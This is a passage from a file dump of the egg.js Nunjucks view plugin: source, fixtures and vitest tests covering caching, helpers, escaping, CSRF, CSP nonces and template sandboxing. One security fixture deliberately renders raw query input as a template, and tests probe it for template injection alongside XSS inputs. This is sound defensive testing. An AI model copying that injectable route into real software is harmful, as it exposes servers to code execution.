}\n  }\n\n  // fill view helper with nunjucks build-in filters\n  for (const key in buildInFilters) {\n    if ((NunjucksViewHelper.prototype as any)[key] == null) {\n      (NunjucksViewHelper.prototype as any)[key] = buildInFilters[key];\n    }\n  }\n\n  return NunjucksViewHelper as HelperClass;\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/lib/view.ts",
    "content": "import '../types.ts';\nimport { ViewEngineBase } from '@eggjs/view';\nimport type { Context } from 'egg';\n\nimport type { createHelper } from './helper.ts';\n\n/**\n * Nunjucks view class for rendering templates\n */\nexport class NunjucksView extends ViewEngineBase {\n  viewHelper: InstanceType<ReturnType<typeof createHelper>>;\n\n  constructor(ctx: Context) {\n    super(ctx);\n    this.viewHelper = new this.app.nunjucks.ViewHelper(ctx);\n  }\n\n  /**\n   * Render a template file\n   * @param name - template name\n   * @param locals - template locals\n   * @returns rendered html string\n   */\n  async render(name: string, locals: Record<string, any>): Promise<string> {\n    locals.helper = this.viewHelper;\n    return new Promise((resolve, reject) => {\n      this.app.nunjucks.render(name, locals, (err: Error | null, result: string | null) => {\n        if (err) return reject(err);\n        resolve(result!);\n      });\n    });\n  }\n\n  /**\n   * Render a template string\n   * @param tpl - template string\n   * @param locals - template locals\n   * @param opts - render options\n   * @returns rendered html string\n   */\n  async renderString(tpl: string, locals: Record<string, any>, opts?: any): Promise<string> {\n    locals.helper = this.viewHelper;\n    return new Promise((resolve, reject) => {\n      if (opts) {\n        // @ts-expect-error missing opts type definition\n        this.app.nunjucks.renderString(tpl, locals, opts, (err: Error | null, result: string | null) => {\n          if (err) return reject(err);\n          resolve(result!);\n        });\n      } else {\n        this.app.nunjucks.renderString(tpl, locals, (err: Error | null, result: string | null) => {\n          if (err) return reject(err);\n          resolve(result!);\n        });\n      }\n    });\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/src/types.ts",
    "content": "import type { NunjucksConfig } from './config/config.default.ts';\nimport type { NunjucksEnvironment } from './lib/environment.ts';\n\ndeclare module 'egg' {\n  // Extend EggAppConfig with nunjucks configuration\n  interface EggAppConfig {\n    /**\n     * Nunjucks plugin configuration\n     */\n    nunjucks: NunjucksConfig;\n  }\n\n  // Extend Application with nunjucks environment\n  interface Application {\n    /**\n     * Nunjucks environment instance\n     * @see https://mozilla.github.io/nunjucks/api.html#environment\n     */\n    get nunjucks(): NunjucksEnvironment;\n  }\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/__snapshots__/index.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`should exports keep stable 1`] = `\n{\n  \"NunjucksEnvironment\": [Function],\n  \"NunjucksFileLoader\": [Function],\n  \"NunjucksView\": [Function],\n  \"createEngine\": [Function],\n  \"createHelper\": [Function],\n  \"default\": [Function],\n}\n`;\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/local/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    await this.render('home.tpl', { user: 'egg' });\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/local/app/view/home.tpl",
    "content": "hi, {{ user }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/local/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/local/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/local/package.json",
    "content": "{\n  \"name\": \"cache-local\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/prod/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    await this.render('home.tpl', { user: 'egg' });\n  });\n\n  app.get('/sub', async function () {\n    await this.render('sub.tpl', { user: 'egg' });\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/prod/app/view/home.tpl",
    "content": "hi, {{ user }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/prod/app/view/sub.tpl",
    "content": "hi, sub {{ user }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/prod/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/prod/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/cache/prod/package.json",
    "content": "{\n  \"name\": \"cache-default\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/markdown', async function () {\n    await this.render('markdown.tpl', { user: 'egg' });\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/app/view/markdown.tpl",
    "content": "{% markdown %}\n## hi {{ user }}\n{% endmarkdown %}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/app.js",
    "content": "const markdown = require('nunjucks-markdown');\nconst { marked } = require('marked');\n\n// module.exports = app => {\n//   markdown.register(app.nunjucks, marked);\n// };\n\nmodule.exports = class AppBoot {\n  constructor(app) {\n    this.app = app;\n  }\n\n  async didLoad() {\n    markdown.register(this.app.nunjucks, marked);\n  }\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/config.config.default.js",
    "content": "'use strict';\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/custom-tag/package.json",
    "content": "{\n  \"name\": \"custom-tag\",\n  \"version\": \"1.0.0\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/extend/filter.js",
    "content": "'use strict';\n\nexports.hello = (str) => 'hi, ' + str;\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/extend/helper.js",
    "content": "'use strict';\n\nexports.someMethod = (str) => `test ${str}`;\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/router.js",
    "content": "'use strict';\nconst path = require('path');\nconst fs = require('fs');\nmodule.exports = (app) => {\n  app.get('/', async function () {\n    await this.render('home.tpl', { user: 'egg' });\n  });\n\n  app.get('/string', async function () {\n    this.body = await this.renderString('hi, {{ user }}', { user: 'egg' });\n  });\n\n  app.get('/string_options', async function () {\n    this.body = await this.renderString(\n      fs.readFileSync(path.resolve(__dirname, './view/layout.tpl')).toString(),\n      { user: 'egg' },\n      { path: path.resolve(__dirname, './view/layout.tpl') },\n    );\n  });\n\n  app.get('/inject', async function () {\n    await this.render('inject.tpl', { user: 'egg' });\n  });\n\n  app.get('/filter', async function () {\n    this.body = await this.renderString('{{ user | hello }}', { user: 'egg' });\n  });\n\n  app.get('/filter/include', async function () {\n    await this.render('include-test.tpl', { list: ['egg', 'yadan'] });\n  });\n\n  app.get('/not_found', async function () {\n    try {\n      await this.render('not_found.tpl', {\n        user: 'egg',\n      });\n    } catch (e) {\n      this.status = 500;\n      this.body = e.toString();\n    }\n  });\n\n  app.get('/locals', async function () {\n    this.locals = { b: 'ctx' };\n    this.body = await this.renderString('{{ a }}, {{ b }}, {{ c }}', {\n      c: 'locals',\n    });\n  });\n\n  app.get('/error_string', async function () {\n    try {\n      this.body = await this.renderString('{{a');\n    } catch (err) {\n      this.status = 500;\n      this.body = err;\n    }\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/view/home.tpl",
    "content": "hi, {{ user }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/view/include-sub.tpl",
    "content": "{{ item | hello }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/view/include-test.tpl",
    "content": "{% for item in list %}\n  {% include \"./include-sub.tpl\" %}\n{% endfor %}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/view/inject.tpl",
    "content": "ctx: {{ ctx != undefined }}\nrequest: {{ request != undefined }}\nhelper: {{ helper != undefined }}\nhelperFn: {{ helper.someMethod != undefined }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/view/layout/index.tpl",
    "content": "<html>\n<head>\n  {% block cssContents %}\n  <link rel=\"stylesheet\" href=\"{{cssFile}}\">\n  {% endblock %}\n</head>\n<div>{{ user }}<div>\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app/view/layout.tpl",
    "content": "{% extends \"./layout/index.tpl\" %}\n{% block cssContents %}\n<link rel=\"stylesheet\" href=\"//{{ctx.cdnHost}}/ife/libs/next/theme-11/next.min.css\">\n<link rel=\"stylesheet\" href=\"//{{ctx.cdnHost}}/customize/index.css\">\n{% endblock %}\n\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/app.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.locals = { a: 'app', b: 'app', c: 'app' };\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/example/package.json",
    "content": "{\n  \"name\": \"example\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/framework/app/extend/application.js",
    "content": "'use strict';\n\nmodule.exports = require('@eggjs/view/app/extend/application');\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/framework/app/extend/context.js",
    "content": "'use strict';\n\nmodule.exports = require('@eggjs/view/app/extend/context');\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/framework/config/config.default.js",
    "content": "'use strict';\n\nexports.loggers = {\n  level: 'ERROR',\n  consoleLevel: 'ERROR',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/framework/index.js",
    "content": "'use strict';\n\nconst egg = require('egg');\nconst EGG_PATH = Symbol.for('egg#eggPath');\n\nObject.assign(exports, egg);\n\nexports.Application = class Application extends egg.Application {\n  get [EGG_PATH]() {\n    return __dirname;\n  }\n};\nexports.Agent = class Agent extends egg.Agent {\n  get [EGG_PATH]() {\n    return __dirname;\n  }\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/framework/package.json",
    "content": "{\n  \"name\": \"framework\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/ext-view/ext.tpl",
    "content": "hi, ext {{ user }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('/view', async function () {\n    await this.render('home.tpl', { user: 'egg' });\n  });\n\n  app.get('/ext', async function () {\n    await this.render('ext.tpl', { user: 'egg' });\n  });\n\n  app.get('/include', async function () {\n    await this.render('include.tpl', { user: 'egg' });\n  });\n\n  app.get('/relative', async function () {\n    await this.render('sub/relative-a.tpl', { user: 'egg' });\n  });\n\n  app.get('/import', async function () {\n    await this.render('import.tpl');\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/view/form.tpl",
    "content": "{% macro label(text) -%}\n<div>\n  <label>{{ text }}</label>\n</div>\n{%- endmacro %}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/view/home.tpl",
    "content": "hi, {{ user }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/view/import.tpl",
    "content": "{% import \"form.tpl\" as form -%}\n{{ form.label(\"egg\") }}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/view/include.tpl",
    "content": "include {% include \"ext.tpl\" %}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/view/sub/relative-a.tpl",
    "content": "{% include \"./relative-b.tpl\" -%}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/app/view/sub/relative-b.tpl",
    "content": "hello {{ user }}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/config/config.default.js",
    "content": "'use strict';\n\nconst path = require('path');\n\nmodule.exports = function (appInfo) {\n  const exports = {};\n\n  exports.view = {\n    root: ['app/view', 'app/ext-view'].map((p) => path.join(appInfo.baseDir, p)).join(','),\n    defaultViewEngine: 'nunjucks',\n  };\n\n  exports.keys = '123456';\n\n  return exports;\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/multi-dir/package.json",
    "content": "{\n  \"name\": \"multi-dir\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/app/router.js",
    "content": "'use strict';\n\nconst stripIndent = require('common-tags').stripIndent;\n\nmodule.exports = (app) => {\n  app.get('/xss', async function () {\n    const tpl = stripIndent`\n      {{ url }}\n      {{ url | safe }}\n      {{ helper.surl(url) }}\n      {{ html }}\n    `;\n    this.body = await this.renderString(tpl, {\n      url: 'http://eggjs.github.io/index.html?a=<div>',\n      html: '<div id=\"a\">\\'a\\'</div>',\n    });\n  });\n\n  app.get('/sjs', async function () {\n    const tpl = stripIndent`\n      var foo = \"{{ helper.sjs(foo) }}\";\n    `;\n    this.body = await this.renderString(tpl, {\n      foo: '\"hello\"',\n    });\n  });\n\n  app.get('/shtml', async function () {\n    const tpl = stripIndent`\n      {{helper.shtml(foo)}}\n    `;\n    this.body = await this.renderString(tpl, {\n      foo: '<img onload=\"xx\"><h1>foo</h1>',\n    });\n  });\n\n  app.get('/form_csrf', async function () {\n    await this.render('form_csrf.tpl');\n  });\n\n  app.get('/nonce', async function () {\n    await this.render('nonce.tpl');\n  });\n\n  app.get('/escape', async function () {\n    await this.render('escape.tpl', {\n      foo: '<html>',\n      arr: ['<p>arr</p>'],\n      obj: {\n        toString() {\n          return '<p>obj</p>';\n        },\n      },\n    });\n  });\n\n  app.get('/sandbox', async function () {\n    const tpl = this.query.tpl;\n    const name = this.query.name;\n    this.body = await this.renderString(`hi, ${tpl}`, { name });\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/app/view/escape.tpl",
    "content": "{{ foo | escape }}\n{{ arr | escape }}\n{{ obj | escape }}\n--\n{{ foo | safe }}\n{{ arr | safe }}\n{{ obj | safe }}\n--\n{{ foo | safe | escape }}\n{{ arr | safe | escape }}\n{{ obj | safe | escape }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/app/view/form_csrf.tpl",
    "content": "<form id=\"form1\" method=\"post\">\n  <input type=\"text\" name=\"foo\" value=\"bar\" />\n</form>\n<form id=\"form2\">\n  <input type=\"hidden\" data-a=\"a\" name=\"_csrf\" value=\"{{ctx.csrf}}\" />\n</form>"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/app/view/nonce.tpl",
    "content": "<input id=\"input1\" type=\"hidden\" name=\"nonce\" value=\"{{ctx.nonce}}\">\n<script id=\"script1\" src=\"a.js\"></script>\n<script id=\"script2\" type=\"text/javascript\">\n  var a = 1;\n</script>\n<script id=\"script3\" nonce=\"{{ctx.nonce}}\">\n  var b = 2;\n</script>\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/config/config.default.js",
    "content": "'use strict';\n\nexports.security = {\n  csp: {\n    enable: true,\n  },\n};\n\nexports.keys = '123456';\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/security/package.json",
    "content": "{\n  \"name\": \"view-security\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/app/extend/helper.js",
    "content": "'use strict';\n\nexports.someMethod = (str) => `test ${str}`;\n\nexports.foo = (bar) => `value: ${bar}`;\n\nexports.arr = [(bar) => `value: ${bar}`];\n\nexports.obj = {\n  a(bar) {\n    return `value: ${bar}`;\n  },\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/app/router.js",
    "content": "'use strict';\n\nmodule.exports = (app) => {\n  app.get('helper', '/helper', async function () {\n    await this.render('helper.tpl', { user: 'egg' });\n  });\n\n  app.get('escape', '/escape', async function () {\n    await this.render('escape.tpl', { user: 'egg' });\n  });\n\n  app.get('filters', '/nunjucks_filters', async function () {\n    this.body = await this.renderString('{{ helper.upper(user) }}', {\n      user: 'egg',\n    });\n  });\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/app/view/escape.tpl",
    "content": "{{ helper.safe('<safe>') }}\n{{ '<escape2>' | escape | escape }}\n{{ helper.escape('<helper-safe>' | safe) }}\n{{ helper.escape('<helper>') }}\n{{ helper.escape('<helper-escape>') | escape }}\n{{ helper.escape('<helper-escape>' | escape ) }}\n{{ helper.escape(helper.escape('<helper2>')) }}"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/app/view/helper.tpl",
    "content": "{{ helper.foo('bar') }}\n{{ helper.foo() }}\n{{ helper.arr[0]('bar') }}\n{{ helper.obj.a('bar') }}\n{{ helper.pathFor('filters') }}\n\nsafe: {{ helper.safe('<div>foo</div>') }}\nescape: {{ helper.escape('<div>foo</div>') }}\nsafe-escape: {{ helper.safe('<div>' + helper.escape('<span>') + '</div>') }}\ncsrfTag: {{ helper.csrfTag() }}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/config/config.default.js",
    "content": "'use strict';\n\nexports.keys = '123456';\n\nexports.view = {\n  defaultViewEngine: 'nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/config/plugin.js",
    "content": "exports.nunjucks = {\n  enable: true,\n  package: '@eggjs/view-nunjucks',\n};\n"
  },
  {
    "path": "plugins/view-nunjucks/test/fixtures/view-helper/package.json",
    "content": "{\n  \"name\": \"view-helper\"\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/index.test.ts",
    "content": "import { test, expect } from 'vitest';\n\nimport * as exports from '../src/index.ts';\n\ntest('should exports keep stable', () => {\n  expect(exports).toMatchSnapshot();\n});\n"
  },
  {
    "path": "plugins/view-nunjucks/test/utils.ts",
    "content": "import path from 'node:path';\n\nexport function getFixtures(name: string): string {\n  return path.join(import.meta.dirname, 'fixtures', name);\n}\n"
  },
  {
    "path": "plugins/view-nunjucks/test/view/cache.test.ts",
    "content": "import fs from 'node:fs';\nimport path from 'node:path';\n\nimport { mock, mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, beforeEach, afterEach } from 'vitest';\n\nimport { getFixtures } from '../utils.ts';\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.version.startsWith('v20.'))('test/view/cache.test.ts', () => {\n  afterEach(() => mock.restore());\n\n  describe('should render cache template at prod', () => {\n    let app: MockApplication;\n    let templateFilePath: string;\n    let templateContent: string;\n\n    beforeEach(async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'prod');\n\n      app = mock.app({\n        baseDir: getFixtures('cache/prod'),\n        framework: getFixtures('framework'),\n      });\n\n      await app.ready();\n\n      templateFilePath = path.join(app.config.baseDir, 'app/view/home.tpl');\n      templateContent = fs.readFileSync(templateFilePath, {\n        encoding: 'utf-8',\n      });\n    });\n\n    afterEach(async () => {\n      fs.writeFileSync(templateFilePath, templateContent);\n      (app as any).nunjucks.cleanCache();\n      await app.close();\n    });\n\n    it('use cache', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /hi, egg/);\n\n      fs.writeFileSync(templateFilePath, 'TEMPLATE CHANGED');\n\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /hi, egg/);\n    });\n\n    it('clean cache', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /hi, egg/);\n\n      await app\n        .httpRequest()\n        .get('/sub')\n        .expect(200, /hi, sub egg/);\n\n      fs.writeFileSync(templateFilePath, 'TEMPLATE CHANGED');\n\n      const count = (app as any).nunjucks.cleanCache();\n      expect(count).toBe(2);\n\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /TEMPLATE CHANGED/);\n    });\n\n    it('clean cache by name', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /hi, egg/);\n\n      fs.writeFileSync(templateFilePath, 'TEMPLATE CHANGED');\n\n      const count = (app as any).nunjucks.cleanCache(templateFilePath);\n\n      expect(count).toBe(1);\n\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /TEMPLATE CHANGED/);\n    });\n\n    it('clean cache by path', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /hi, egg/);\n\n      fs.writeFileSync(templateFilePath, 'TEMPLATE CHANGED');\n\n      const count = (app as any).nunjucks.cleanCache(templateFilePath);\n\n      expect(count).toBe(1);\n\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /TEMPLATE CHANGED/);\n    });\n  });\n\n  describe('should render modified template in local env', () => {\n    let app: MockApplication;\n    let templateFilePath: string;\n    let templateContent: string;\n\n    beforeEach(async () => {\n      mm(process.env, 'EGG_SERVER_ENV', 'local');\n\n      app = mock.app({\n        baseDir: getFixtures('cache/local'),\n        framework: getFixtures('framework'),\n      });\n      await app.ready();\n\n      templateFilePath = path.join(app.config.baseDir, 'app/view/home.tpl');\n      templateContent = fs.readFileSync(templateFilePath, {\n        encoding: 'utf-8',\n      });\n    });\n\n    afterEach(async () => {\n      if (templateContent) {\n        fs.writeFileSync(templateFilePath, templateContent);\n      }\n      await app.close();\n    });\n\n    it('cache = false', async () => {\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /hi, egg/);\n\n      fs.writeFileSync(templateFilePath, 'TEMPLATE CHANGED');\n\n      await app\n        .httpRequest()\n        .get('/')\n        .expect(200, /TEMPLATE CHANGED/);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/view-nunjucks/test/view/custom.test.ts",
    "content": "import path from 'node:path';\n\nimport { mock, type MockApplication } from '@eggjs/mock';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nfunction getFixtures(name: string): string {\n  return path.join(import.meta.dirname, '../fixtures', name);\n}\n\n// TODO: windows will return \\r\\n, not \\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.platform === 'win32' || process.version.startsWith('v20.'))('test/view/custom.test.ts', () => {\n  let app: MockApplication;\n\n  beforeAll(async () => {\n    app = mock.app({\n      baseDir: getFixtures('custom-tag'),\n      framework: getFixtures('framework'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n  afterEach(() => mock.restore());\n\n  it('should render markdown with custom tag', async () => {\n    const res = await app.httpRequest().get('/markdown');\n    expect(res.text).toBe('<h2>hi egg</h2>\\n');\n    expect(res.status).toBe(200);\n  });\n});\n"
  },
  {
    "path": "plugins/view-nunjucks/test/view/helper.test.ts",
    "content": "import path from 'node:path';\n\nimport { mock, type MockApplication } from '@eggjs/mock';\nimport { stripIndent } from 'common-tags';\nimport { describe, it, beforeAll, afterAll, afterEach, expect } from 'vitest';\n\nfunction getFixtures(name: string): string {\n  return path.join(import.meta.dirname, '../fixtures', name);\n}\n\n// TODO: windows will return \\r\\n, not \\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.platform === 'win32' || process.version.startsWith('v20.'))('test/view/helper.test.ts', () => {\n  let app: MockApplication;\n\n  beforeAll(async () => {\n    app = mock.app({\n      baseDir: getFixtures('view-helper'),\n      framework: getFixtures('framework'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n  afterEach(() => mock.restore());\n\n  it('should use view helper', () => {\n    return app\n      .httpRequest()\n      .get('/helper')\n      .expect(200)\n      .expect(\n        new RegExp(\n          stripIndent`\n        value: bar\n        value: undefined\n        value: bar\n        value: bar\n        /nunjucks_filters\n      `,\n        ),\n      );\n  });\n\n  it('should use override escape', async () => {\n    const res = await app.httpRequest().get('/escape');\n    expect(res.text).toBe(stripIndent`\n        <safe>\n        &lt;escape2&gt;\n        <helper-safe>\n        &lt;helper&gt;\n        &lt;helper-escape&gt;\n        &lt;helper-escape&gt;\n        &lt;helper2&gt;\n      `);\n    expect(res.status).toBe(200);\n  });\n\n  describe('fill nunjucks filter to helper', () => {\n    it('should merge nunjucks filter to view helper', () => {\n      return app.httpRequest().get('/nunjucks_filters').expect(200).expect(/EGG/);\n    });\n\n    it('should work .safe', () => {\n      return app\n        .httpRequest()\n        .get('/helper')\n        .expect(200)\n        .expect(/safe: <div>foo<\\/div>\\n/);\n    });\n\n    it('should work .escape', () => {\n      return app\n        .httpRequest()\n        .get('/helper')\n        .expect(200)\n        .expect(/escape: &lt;div&gt;foo&lt;\\/div&gt;\\n/);\n    });\n\n    it('should work safe & escape', () => {\n      return app\n        .httpRequest()\n        .get('/helper')\n        .expect(200)\n        .expect(/safe-escape: <div>&lt;span&gt;<\\/div>\\n/);\n    });\n\n    it('should work .csrfTag', () => {\n      return app\n        .httpRequest()\n        .get('/helper')\n        .expect(200)\n        .expect(/csrfTag: <input type=\"hidden\" name=\"_csrf\" value=\".*?\" \\/>\\n/);\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/view-nunjucks/test/view/security.test.ts",
    "content": "import path from 'node:path';\n\nimport { mock, type MockApplication } from '@eggjs/mock';\nimport { load } from 'cheerio';\nimport { stripIndent } from 'common-tags';\nimport { describe, it, expect, beforeAll, afterAll, afterEach } from 'vitest';\n\nfunction getFixtures(name: string): string {\n  return path.join(import.meta.dirname, '../fixtures', name);\n}\n\n// TODO: windows will return \\r\\n, not \\n\n// Node.js v20: SyntaxError: Unexpected identifier 'SingleModeApplication'\ndescribe.skipIf(process.platform === 'win32' || process.version.startsWith('v20.'))(\n  'test/view/security.test.ts',\n  () => {\n    let app: MockApplication;\n\n    beforeAll(async () => {\n      app = mock.app({\n        baseDir: getFixtures('security'),\n        framework: getFixtures('framework'),\n      });\n      await app.ready();\n    });\n\n    afterAll(() => app.close());\n    afterEach(() => mock.restore());\n\n    it('should escape', () => {\n      // - https://snyk.io/vuln/npm:nunjucks:20160906\n      // - https://github.com/mozilla/nunjucks/issues/835\n      return app\n        .httpRequest()\n        .get('/escape')\n        .expect(200)\n        .expect(\n          stripIndent`\n        &lt;html&gt;\n        &lt;p&gt;arr&lt;/p&gt;\n        &lt;p&gt;obj&lt;/p&gt;\n        --\n        <html>\n        <p>arr</p>\n        <p>obj</p>\n        --\n        <html>\n        <p>arr</p>\n        <p>obj</p>\n      `,\n        );\n    });\n\n    it('should render xss', () => {\n      return app\n        .httpRequest()\n        .get('/xss')\n        .expect(200)\n        .expect(\n          stripIndent`\n        http://eggjs.github.io/index.html?a=&lt;div&gt;\n        http://eggjs.github.io/index.html?a=<div>\n        http://eggjs.github.io/index.html?a=&lt;div&gt;\n        &lt;div id=&quot;a&quot;&gt;&#39;a&#39;&lt;/div&gt;\n      `,\n        );\n    });\n\n    it('should render sjs', () => {\n      return app.httpRequest().get('/sjs').expect(200).expect('var foo = \"\\\\x22hello\\\\x22\";');\n    });\n\n    it('should render shtml', () => {\n      return app.httpRequest().get('/shtml').expect(200).expect('<img><h1>foo</h1>');\n    });\n\n    it('should inject csrf hidden field in form', async () => {\n      const result = await app.httpRequest().get('/form_csrf').expect(200);\n\n      const $ = load(result.text);\n      expect($('#form1 input').length).toBe(2);\n      expect($('#form1 [name=_csrf]').attr('name')).toBe('_csrf');\n      expect($('#form1 [name=_csrf]').val()!.toString().length).toBeGreaterThan(1);\n      expect($('#form2 input').length).toBe(1);\n      expect($('#form2 input').attr('data-a')).toBe('a');\n      expect($('#form2 input').val()!.toString().length).toBeGreaterThan(1);\n    });\n\n    it('should inject nonce attribute to script tag', async () => {\n      const result = await app.httpRequest().get('/nonce').expect(200);\n\n      const $ = load(result.text);\n      const expectedNonce = $('#input1').val();\n      expect($('#script1').attr('nonce')).toBe(expectedNonce);\n      expect($('#script2').attr('nonce')).toBe(expectedNonce);\n      expect($('#script3').attr('nonce')).toBe(expectedNonce);\n    });\n\n    // http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine\n    describe('sandbox-break-out-nunjucks-template-engine', () => {\n      it('allow {{7*7}}', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ tpl: '{{7*7}}' })\n          .expect(/hi, 49/)\n          .expect(200);\n      });\n\n      it('name.prototype.toString.constructor', () => {\n        return app\n          .httpRequest()\n          .get('/sandbox')\n          .query({ name: 'bar' })\n   